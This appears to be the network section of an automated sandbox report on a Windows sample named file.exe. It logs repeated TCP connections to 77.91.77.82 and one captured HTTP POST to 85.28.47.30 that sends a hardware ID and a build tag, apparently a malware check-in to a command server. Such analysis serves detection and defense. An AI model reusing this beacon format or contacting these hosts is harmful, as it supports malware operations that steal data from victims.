Jul 5, 2024 06:26:41.400578976 CEST	51732	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:41.400609016 CEST	51733	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:41.401016951 CEST	51733	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:41.405828953 CEST	80	51733	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.146306992 CEST	80	51733	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.146404028 CEST	51733	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.264606953 CEST	51734	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.264606953 CEST	51733	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.269567013 CEST	80	51734	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.269722939 CEST	51734	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.269857883 CEST	80	51733	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.273750067 CEST	51734	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.273874998 CEST	51733	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.278541088 CEST	80	51734	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.974091053 CEST	80	51734	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.974142075 CEST	51734	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.977976084 CEST	51734	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.978398085 CEST	51735	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.983270884 CEST	80	51734	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.983283997 CEST	80	51735	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:42.983323097 CEST	51734	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.983356953 CEST	51735	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.983551979 CEST	51735	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:42.988326073 CEST	80	51735	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:43.693815947 CEST	80	51735	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:43.693871975 CEST	51735	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:43.811880112 CEST	51735	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:43.812261105 CEST	51736	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:43.816952944 CEST	80	51735	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:43.816977978 CEST	80	51736	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:43.817003012 CEST	51735	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:43.817059994 CEST	51736	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:43.817433119 CEST	51736	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:43.822266102 CEST	80	51736	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:44.578461885 CEST	80	51736	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:44.581830978 CEST	51736	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:44.584671021 CEST	51736	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:44.584671974 CEST	51737	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:44.592061043 CEST	80	51737	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:44.592361927 CEST	80	51736	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:44.593839884 CEST	51736	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:44.593842983 CEST	51737	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:44.594131947 CEST	51737	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:44.599953890 CEST	80	51737	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:45.337838888 CEST	80	51737	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:45.337901115 CEST	51737	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:45.452997923 CEST	51737	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:45.453434944 CEST	51738	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:45.458255053 CEST	80	51738	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:45.458270073 CEST	80	51737	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:45.458316088 CEST	51738	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:45.458347082 CEST	51737	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:45.458746910 CEST	51738	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:45.463555098 CEST	80	51738	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:46.251230955 CEST	80	51738	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:46.251338005 CEST	51738	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:46.259586096 CEST	51738	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:46.260004997 CEST	51739	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:46.264795065 CEST	80	51738	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:46.264875889 CEST	80	51739	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:46.264902115 CEST	51738	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:46.265860081 CEST	51739	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:46.266263962 CEST	51739	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:46.270997047 CEST	80	51739	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:46.960377932 CEST	80	51739	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:46.960438967 CEST	51739	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.077122927 CEST	51739	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.077466011 CEST	51740	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.082329035 CEST	80	51739	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:47.082343102 CEST	80	51740	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:47.082376003 CEST	51739	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.082446098 CEST	51740	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.082739115 CEST	51740	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.087495089 CEST	80	51740	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:47.793258905 CEST	80	51740	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:47.793318033 CEST	51740	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.797311068 CEST	51740	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.797854900 CEST	51741	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.802575111 CEST	80	51740	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:47.802622080 CEST	51740	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.802655935 CEST	80	51741	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:47.802717924 CEST	51741	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.802836895 CEST	51741	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:47.807598114 CEST	80	51741	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:48.553952932 CEST	80	51741	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:48.554198027 CEST	51741	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:48.670589924 CEST	51741	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:48.670589924 CEST	51742	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:48.675460100 CEST	80	51742	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:48.675636053 CEST	51742	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:48.675803900 CEST	80	51741	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:48.675853014 CEST	51742	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:48.675915003 CEST	51741	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:48.680629969 CEST	80	51742	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:49.403917074 CEST	80	51742	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:49.403974056 CEST	51742	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:49.408265114 CEST	51742	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:49.408883095 CEST	51743	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:49.413482904 CEST	80	51742	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:49.413533926 CEST	51742	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:49.413666964 CEST	80	51743	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:49.413738012 CEST	51743	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:49.414110899 CEST	51743	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:49.419205904 CEST	80	51743	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.128089905 CEST	80	51743	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.128206968 CEST	51743	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.233779907 CEST	51743	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.233792067 CEST	51744	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.238631010 CEST	80	51744	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.238928080 CEST	80	51743	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.241903067 CEST	51743	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.241911888 CEST	51744	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.245789051 CEST	51744	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.250570059 CEST	80	51744	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.950428009 CEST	80	51744	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.950490952 CEST	51744	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.953999996 CEST	51744	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.954674959 CEST	51745	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.959206104 CEST	80	51744	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.959261894 CEST	51744	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.959451914 CEST	80	51745	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:50.959522963 CEST	51745	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.959872961 CEST	51745	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:50.964596987 CEST	80	51745	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:51.665743113 CEST	80	51745	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:51.665802956 CEST	51745	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:51.780278921 CEST	51745	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:51.780649900 CEST	51746	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:51.785444975 CEST	80	51745	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:51.785460949 CEST	80	51746	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:51.785505056 CEST	51745	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:51.785545111 CEST	51746	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:51.785819054 CEST	51746	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:51.790590048 CEST	80	51746	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:52.521481991 CEST	80	51746	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:52.524635077 CEST	51746	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:52.528594971 CEST	51746	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:52.528601885 CEST	51747	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:52.533413887 CEST	80	51747	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:52.533801079 CEST	80	51746	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:52.533833027 CEST	51747	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:52.533874035 CEST	51747	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:52.533962965 CEST	51746	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:52.538608074 CEST	80	51747	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:53.305725098 CEST	80	51747	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:53.305802107 CEST	51747	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:53.420993090 CEST	51747	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:53.421358109 CEST	51748	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:53.426160097 CEST	80	51748	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:53.426238060 CEST	51748	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:53.426270962 CEST	80	51747	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:53.426321983 CEST	51747	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:53.426378965 CEST	51748	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:53.431576967 CEST	80	51748	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.127888918 CEST	80	51748	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.128072977 CEST	51748	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.133786917 CEST	51748	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.133794069 CEST	51749	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.138590097 CEST	80	51749	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.138793945 CEST	51749	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.138837099 CEST	80	51748	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.138895988 CEST	51748	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.139038086 CEST	51749	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.143749952 CEST	80	51749	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.834120035 CEST	80	51749	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.841789961 CEST	51749	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.952100039 CEST	51749	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.952425003 CEST	51750	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.957113028 CEST	80	51749	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.957135916 CEST	80	51750	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:54.957161903 CEST	51749	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.957218885 CEST	51750	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.957463026 CEST	51750	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:54.962166071 CEST	80	51750	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:55.666557074 CEST	80	51750	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:55.666620970 CEST	51750	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:55.670526028 CEST	51750	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:55.670906067 CEST	51751	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:55.676764011 CEST	80	51750	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:55.676811934 CEST	51750	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:55.676984072 CEST	80	51751	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:55.677047968 CEST	51751	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:55.677308083 CEST	51751	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:55.683665037 CEST	80	51751	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:56.382169962 CEST	80	51751	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:56.385865927 CEST	51751	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:56.498462915 CEST	51751	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:56.498799086 CEST	51752	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:56.503607035 CEST	80	51752	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:56.503681898 CEST	80	51751	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:56.503710032 CEST	51752	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:56.503930092 CEST	51752	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:56.503968000 CEST	51751	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:56.508621931 CEST	80	51752	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:57.234587908 CEST	80	51752	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:57.234653950 CEST	51752	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:57.238228083 CEST	51752	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:57.238511086 CEST	51753	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:57.243321896 CEST	80	51753	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:57.243380070 CEST	51753	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:57.243495941 CEST	80	51752	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:57.243518114 CEST	51753	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:57.243547916 CEST	51752	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:57.248267889 CEST	80	51753	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:57.955604076 CEST	80	51753	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:57.957845926 CEST	51753	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.076364040 CEST	51753	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.076805115 CEST	51754	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.081465960 CEST	80	51753	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:58.081567049 CEST	80	51754	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:58.081576109 CEST	51753	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.081731081 CEST	51754	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.081994057 CEST	51754	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.086731911 CEST	80	51754	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:58.792620897 CEST	80	51754	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:58.792747974 CEST	51754	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.796061039 CEST	51754	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.796063900 CEST	51755	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.801014900 CEST	80	51755	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:58.801227093 CEST	51755	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.801376104 CEST	80	51754	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:58.801484108 CEST	51754	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.801485062 CEST	51755	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:58.806838989 CEST	80	51755	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:59.523628950 CEST	80	51755	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:59.523688078 CEST	51755	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:59.639767885 CEST	51755	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:59.640084982 CEST	51756	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:59.644922018 CEST	80	51756	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:59.644983053 CEST	51756	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:59.645169973 CEST	80	51755	77.91.77.82	192.168.2.7
Jul 5, 2024 06:26:59.645174026 CEST	51756	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:59.645216942 CEST	51755	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:26:59.650686979 CEST	80	51756	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:00.372205973 CEST	80	51756	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:00.372586966 CEST	51756	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:00.377804041 CEST	51756	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:00.377804995 CEST	51757	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:00.382611036 CEST	80	51757	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:00.382746935 CEST	51757	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:00.382870913 CEST	80	51756	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:00.382961035 CEST	51756	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:00.384857893 CEST	51757	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:00.389633894 CEST	80	51757	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.105946064 CEST	80	51757	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.106060982 CEST	51757	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.234893084 CEST	51757	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.235424995 CEST	51758	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.240010023 CEST	80	51757	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.240061998 CEST	51757	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.240173101 CEST	80	51758	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.240288973 CEST	51758	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.240650892 CEST	51758	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.245435953 CEST	80	51758	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.961561918 CEST	80	51758	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.961884975 CEST	51758	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.964978933 CEST	51758	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.964981079 CEST	51759	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.969769955 CEST	80	51759	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.969918966 CEST	51759	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.970077991 CEST	80	51758	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:01.973829985 CEST	51759	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.973884106 CEST	51758	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:01.978817940 CEST	80	51759	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:02.702327967 CEST	80	51759	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:02.702428102 CEST	51759	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:02.811613083 CEST	51759	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:02.811635017 CEST	51760	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:02.816927910 CEST	80	51760	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:02.817018986 CEST	51760	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:02.817276955 CEST	80	51759	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:02.817361116 CEST	51760	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:02.817586899 CEST	51759	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:02.822839022 CEST	80	51760	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:03.555208921 CEST	80	51760	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:03.555318117 CEST	51760	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:03.560319901 CEST	51760	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:03.560739040 CEST	51761	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:03.565448046 CEST	80	51760	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:03.565499067 CEST	51760	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:03.565535069 CEST	80	51761	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:03.565610886 CEST	51761	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:03.566045046 CEST	51761	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:03.570866108 CEST	80	51761	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:04.261617899 CEST	80	51761	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:04.261692047 CEST	51761	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:04.373183012 CEST	51761	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:04.373539925 CEST	51762	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:04.378832102 CEST	80	51761	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:04.378849030 CEST	80	51762	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:04.378895044 CEST	51761	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:04.378952026 CEST	51762	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:04.379153967 CEST	51762	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:04.383951902 CEST	80	51762	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:05.069727898 CEST	80	51762	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:05.069788933 CEST	51762	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:05.072371006 CEST	51762	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:05.072758913 CEST	51763	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:05.077934027 CEST	80	51763	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:05.077991962 CEST	51763	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:05.078218937 CEST	51763	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:05.078311920 CEST	80	51762	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:05.078356981 CEST	51762	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:27:05.083916903 CEST	80	51763	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:05.850941896 CEST	80	51763	77.91.77.82	192.168.2.7
Jul 5, 2024 06:27:05.851290941 CEST	51763	80	192.168.2.7	77.91.77.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 06:23:20.517072916 CEST	53	52344	1.1.1.1	192.168.2.7

HTTP Request Dependency Graph

85.28.47.30

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	85.28.47.30	80	2340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:22:58.755312920 CEST	409	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH Host: 85.28.47.30 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 38 33 38 42 38 31 41 43 33 41 34 30 34 33 37 32 38 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 2d 2d 0d 0a Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="hwid"7E838B81AC3A4043728354------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="build"Nice------KFIJJEGHDAEBGCAKJKFH--
